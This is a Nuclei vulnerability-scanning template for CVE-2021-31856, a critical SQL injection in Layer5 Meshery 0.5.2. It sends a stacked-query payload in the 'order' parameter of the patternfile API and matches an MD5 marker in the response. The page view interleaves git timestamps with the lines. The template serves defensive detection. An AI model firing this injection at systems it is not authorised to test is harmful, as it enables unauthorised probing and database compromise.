nuclei-templates/http/cves/2021/CVE-2021-31856.yaml

45 lines
1.2 KiB
YAML
Raw Normal View History

2021-09-01 12:15:54 +00:00
id: CVE-2021-31856
info:
name: Layer5 Meshery 0.5.2 - SQL Injection
2021-09-01 12:15:54 +00:00
author: princechaddha
severity: critical
description: Layer5 Meshery 0.5.2 contains a SQL injection vulnerability in the REST API that allows an attacker to execute arbitrary SQL commands via the /experimental/patternfiles endpoint (order parameter in GetMesheryPatterns in models/meshery_pattern_persister.go).
2021-09-01 12:15:54 +00:00
reference:
- https://github.com/ssst0n3/CVE-2021-31856
- https://nvd.nist.gov/vuln/detail/CVE-2021-31856
- https://meshery.io
- https://github.com/layer5io/meshery/pull/2745
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-31856
cwe-id: CWE-89
cpe: cpe:2.3:a:layer5:meshery:*:*:*:*:*:*:*:*
epss-score: 0.07416
tags: sqli,cve,cve2021
metadata:
max-request: 1
2021-09-01 12:15:54 +00:00
2022-06-30 03:34:25 +00:00
variables:
num: "999999999"
http:
2021-09-01 12:15:54 +00:00
- method: GET
path:
2022-06-30 03:34:25 +00:00
- "{{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5({{num}}))&page=0&page_size=0"
2021-09-01 12:15:54 +00:00
matchers-condition: and
matchers:
- type: word
words:
2022-06-30 03:34:25 +00:00
- '{{md5({{num}})}}'
2021-09-01 12:15:54 +00:00
part: body
- type: status
status:
- 200
# Enhanced by mp on 2022/05/17